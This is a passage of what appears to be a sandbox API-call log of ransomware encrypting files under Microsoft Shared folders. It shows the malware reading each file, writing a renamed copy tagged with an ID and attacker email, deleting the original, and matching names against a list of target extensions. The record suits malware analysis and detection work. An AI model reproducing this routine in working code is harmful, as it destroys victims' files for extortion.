shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0052.624] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.624] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.624] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0052.625] GetLastError () returned 0x0 [0052.625] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0x236, lpOverlapped=0x0) returned 1 [0052.625] WriteFile (in: hFile=0x20c, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0x240, lpOverlapped=0x0) returned 1 [0052.626] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0052.626] WriteFile (in: hFile=0x20c, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0xfe, lpOverlapped=0x0) returned 1 [0052.626] SetEndOfFile (hFile=0x20c) returned 1 [0052.627] CloseHandle (hObject=0x20c) returned 1 [0052.627] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.627] SetEndOfFile (hFile=0x1f4) returned 1 [0052.627] CloseHandle (hObject=0x1f4) returned 1 [0052.628] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0052.628] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest")) returned 1 [0052.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0052.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0052.628] lstrlenW (lpString=".doc") returned 4 [0052.628] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0052.628] lstrlenW (lpString=".docx") returned 5 [0052.628] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0052.628] lstrlenW (lpString=".pdf") returned 4 [0052.628] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0052.628] lstrlenW (lpString=".xls") returned 4 [0052.628] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0052.628] lstrlenW (lpString=".xlsx") returned 5 [0052.628] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0052.628] lstrlenW (lpString=".ppt") returned 4 [0052.628] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0052.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0052.628] lstrlenW (lpString=".zip") returned 4 [0052.628] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0052.628] lstrlenW (lpString=".rar") returned 4 [0052.628] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0052.629] lstrlenW (lpString=".bz2") returned 4 [0052.629] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0052.629] lstrlenW (lpString=".7z") returned 3 [0052.629] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0052.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0052.629] lstrlenW (lpString=".dbf") returned 4 [0052.629] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0052.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0052.629] lstrlenW (lpString=".1cd") returned 4 [0052.629] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0052.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0052.739] lstrlenW (lpString=".jpg") returned 4 [0052.739] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0052.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0052.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0052.739] lstrlenW (lpString=".doc") returned 4 [0052.739] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0052.739] lstrlenW (lpString=".docx") returned 5 [0052.739] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0052.739] lstrlenW (lpString=".pdf") returned 4 [0052.739] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0052.739] lstrlenW (lpString=".xls") returned 4 [0052.739] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0052.739] lstrlenW (lpString=".xlsx") returned 5 [0052.739] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0052.739] lstrlenW (lpString=".ppt") returned 4 [0052.739] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0052.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0052.739] lstrlenW (lpString=".zip") returned 4 [0052.739] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0052.740] lstrlenW (lpString=".rar") returned 4 [0052.740] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0052.740] lstrlenW (lpString=".bz2") returned 4 [0052.740] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0052.740] lstrlenW (lpString=".7z") returned 3 [0052.740] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0052.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0052.740] lstrlenW (lpString=".dbf") returned 4 [0052.740] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0052.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0052.740] lstrlenW (lpString=".1cd") returned 4 [0052.740] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0052.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0052.740] lstrlenW (lpString=".jpg") returned 4 [0052.740] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0052.740] lstrcmpiW (lpString1=".HLP", lpString2=".html") returned -1 [0052.740] lstrlenW (lpString="EQNEDT32.HLP") returned 12 [0052.740] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0052.741] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=176311) returned 1 [0052.741] CloseHandle (hObject=0x170) returned 1 [0052.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp")) returned 0x20 [0052.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0052.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0052.741] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.741] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0052.742] GetLastError () returned 0x0 [0052.742] ReadFile (in: hFile=0x170, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0x2b0b7, lpOverlapped=0x0) returned 1 [0052.746] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0x2b0c0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0x2b0c0, lpOverlapped=0x0) returned 1 [0052.749] ReadFile (in: hFile=0x170, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0052.749] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.749] SetEndOfFile (hFile=0x1f8) returned 1 [0052.749] CloseHandle (hObject=0x1f8) returned 1 [0052.749] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.749] SetEndOfFile (hFile=0x170) returned 1 [0052.751] CloseHandle (hObject=0x170) returned 1 [0052.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0052.751] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp")) returned 1 [0052.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0052.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0052.751] lstrlenW (lpString=".doc") returned 4 [0052.751] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0052.751] lstrlenW (lpString=".docx") returned 5 [0052.752] lstrcmpiW (lpString1=".docx", lpString2="2.HLP") returned -1 [0052.752] lstrlenW (lpString=".pdf") returned 4 [0052.752] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0052.752] lstrlenW (lpString=".xls") returned 4 [0052.752] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0052.752] lstrlenW (lpString=".xlsx") returned 5 [0052.752] lstrcmpiW (lpString1=".xlsx", lpString2="2.HLP") returned -1 [0052.752] lstrlenW (lpString=".ppt") returned 4 [0052.752] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0052.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0052.752] lstrlenW (lpString=".zip") returned 4 [0052.752] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0052.752] lstrlenW (lpString=".rar") returned 4 [0052.752] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0052.752] lstrlenW (lpString=".bz2") returned 4 [0052.752] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0052.752] lstrlenW (lpString=".7z") returned 3 [0052.752] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0052.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0052.752] lstrlenW (lpString=".dbf") returned 4 [0052.752] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0052.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0052.752] lstrlenW (lpString=".1cd") returned 4 [0052.752] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0052.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0052.752] lstrlenW (lpString=".jpg") returned 4 [0052.752] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0052.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0052.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0052.752] lstrlenW (lpString=".doc") returned 4 [0052.752] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0052.752] lstrlenW (lpString=".docx") returned 5 [0052.752] lstrcmpiW (lpString1=".docx", lpString2="2.HLP") returned -1 [0052.753] lstrlenW (lpString=".pdf") returned 4 [0052.753] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0052.753] lstrlenW (lpString=".xls") returned 4 [0052.753] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0052.753] lstrlenW (lpString=".xlsx") returned 5 [0052.753] lstrcmpiW (lpString1=".xlsx", lpString2="2.HLP") returned -1 [0052.753] lstrlenW (lpString=".ppt") returned 4 [0052.753] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0052.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0052.753] lstrlenW (lpString=".zip") returned 4 [0052.753] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0052.753] lstrlenW (lpString=".rar") returned 4 [0052.753] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0052.753] lstrlenW (lpString=".bz2") returned 4 [0052.753] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0052.753] lstrlenW (lpString=".7z") returned 3 [0052.753] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0052.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0052.753] lstrlenW (lpString=".dbf") returned 4 [0052.753] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0052.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0052.753] lstrlenW (lpString=".1cd") returned 4 [0052.753] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0052.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0052.753] lstrlenW (lpString=".jpg") returned 4 [0052.753] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0052.753] lstrcmpiW (lpString1=".TTF", lpString2=".html") returned 1 [0052.753] lstrlenW (lpString="MTEXTRA.TTF") returned 11 [0052.754] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0052.754] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=7656) returned 1 [0052.754] CloseHandle (hObject=0x170) returned 1 [0052.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf")) returned 0x20 [0052.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0052.755] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0052.755] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.755] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0052.756] GetLastError () returned 0x0 [0052.756] ReadFile (in: hFile=0x170, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0x1de8, lpOverlapped=0x0) returned 1 [0052.757] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0x1df0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0x1df0, lpOverlapped=0x0) returned 1 [0052.758] ReadFile (in: hFile=0x170, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0052.758] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0xea, lpOverlapped=0x0) returned 1 [0052.759] SetEndOfFile (hFile=0x1f8) returned 1 [0052.759] CloseHandle (hObject=0x1f8) returned 1 [0052.759] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.759] SetEndOfFile (hFile=0x170) returned 1 [0052.760] CloseHandle (hObject=0x170) returned 1 [0052.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0052.760] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf")) returned 1 [0052.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0052.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0052.760] lstrlenW (lpString=".doc") returned 4 [0052.760] lstrcmpiW (lpString1=".doc", lpString2=".TTF") returned -1 [0052.760] lstrlenW (lpString=".docx") returned 5 [0052.760] lstrcmpiW (lpString1=".docx", lpString2="A.TTF") returned -1 [0052.760] lstrlenW (lpString=".pdf") returned 4 [0052.760] lstrcmpiW (lpString1=".pdf", lpString2=".TTF") returned -1 [0052.760] lstrlenW (lpString=".xls") returned 4 [0052.760] lstrcmpiW (lpString1=".xls", lpString2=".TTF") returned 1 [0052.760] lstrlenW (lpString=".xlsx") returned 5 [0052.760] lstrcmpiW (lpString1=".xlsx", lpString2="A.TTF") returned -1 [0052.760] lstrlenW (lpString=".ppt") returned 4 [0052.760] lstrcmpiW (lpString1=".ppt", lpString2=".TTF") returned -1 [0052.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0052.760] lstrlenW (lpString=".zip") returned 4 [0052.761] lstrcmpiW (lpString1=".zip", lpString2=".TTF") returned 1 [0052.761] lstrlenW (lpString=".rar") returned 4 [0052.761] lstrcmpiW (lpString1=".rar", lpString2=".TTF") returned -1 [0052.761] lstrlenW (lpString=".bz2") returned 4 [0052.761] lstrcmpiW (lpString1=".bz2", lpString2=".TTF") returned -1 [0052.761] lstrlenW (lpString=".7z") returned 3 [0052.761] lstrcmpiW (lpString1=".7z", lpString2="TTF") returned -1 [0052.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0052.761] lstrlenW (lpString=".dbf") returned 4 [0052.761] lstrcmpiW (lpString1=".dbf", lpString2=".TTF") returned -1 [0052.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0052.761] lstrlenW (lpString=".1cd") returned 4 [0052.761] lstrcmpiW (lpString1=".1cd", lpString2=".TTF") returned -1 [0052.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0052.761] lstrlenW (lpString=".jpg") returned 4 [0052.761] lstrcmpiW (lpString1=".jpg", lpString2=".TTF") returned -1 [0052.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0052.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0052.761] lstrlenW (lpString=".doc") returned 4 [0052.761] lstrcmpiW (lpString1=".doc", lpString2=".TTF") returned -1 [0052.761] lstrlenW (lpString=".docx") returned 5 [0052.761] lstrcmpiW (lpString1=".docx", lpString2="A.TTF") returned -1 [0052.761] lstrlenW (lpString=".pdf") returned 4 [0052.761] lstrcmpiW (lpString1=".pdf", lpString2=".TTF") returned -1 [0052.761] lstrlenW (lpString=".xls") returned 4 [0052.761] lstrcmpiW (lpString1=".xls", lpString2=".TTF") returned 1 [0052.761] lstrlenW (lpString=".xlsx") returned 5 [0052.761] lstrcmpiW (lpString1=".xlsx", lpString2="A.TTF") returned -1 [0052.761] lstrlenW (lpString=".ppt") returned 4 [0052.761] lstrcmpiW (lpString1=".ppt", lpString2=".TTF") returned -1 [0052.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0052.761] lstrlenW (lpString=".zip") returned 4 [0052.761] lstrcmpiW (lpString1=".zip", lpString2=".TTF") returned 1 [0052.762] lstrlenW (lpString=".rar") returned 4 [0052.762] lstrcmpiW (lpString1=".rar", lpString2=".TTF") returned -1 [0052.762] lstrlenW (lpString=".bz2") returned 4 [0052.762] lstrcmpiW (lpString1=".bz2", lpString2=".TTF") returned -1 [0052.762] lstrlenW (lpString=".7z") returned 3 [0052.762] lstrcmpiW (lpString1=".7z", lpString2="TTF") returned -1 [0052.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0052.762] lstrlenW (lpString=".dbf") returned 4 [0052.762] lstrcmpiW (lpString1=".dbf", lpString2=".TTF") returned -1 [0052.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0052.762] lstrlenW (lpString=".1cd") returned 4 [0052.762] lstrcmpiW (lpString1=".1cd", lpString2=".TTF") returned -1 [0052.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0052.762] lstrlenW (lpString=".jpg") returned 4 [0052.762] lstrcmpiW (lpString1=".jpg", lpString2=".TTF") returned -1 [0052.762] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0052.762] lstrlenW (lpString="MSOEURO.DLL") returned 11 [0052.762] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0052.763] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=31104) returned 1 [0052.763] CloseHandle (hObject=0x170) returned 1 [0052.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll")) returned 0x20 [0052.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0052.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0052.763] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.763] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft 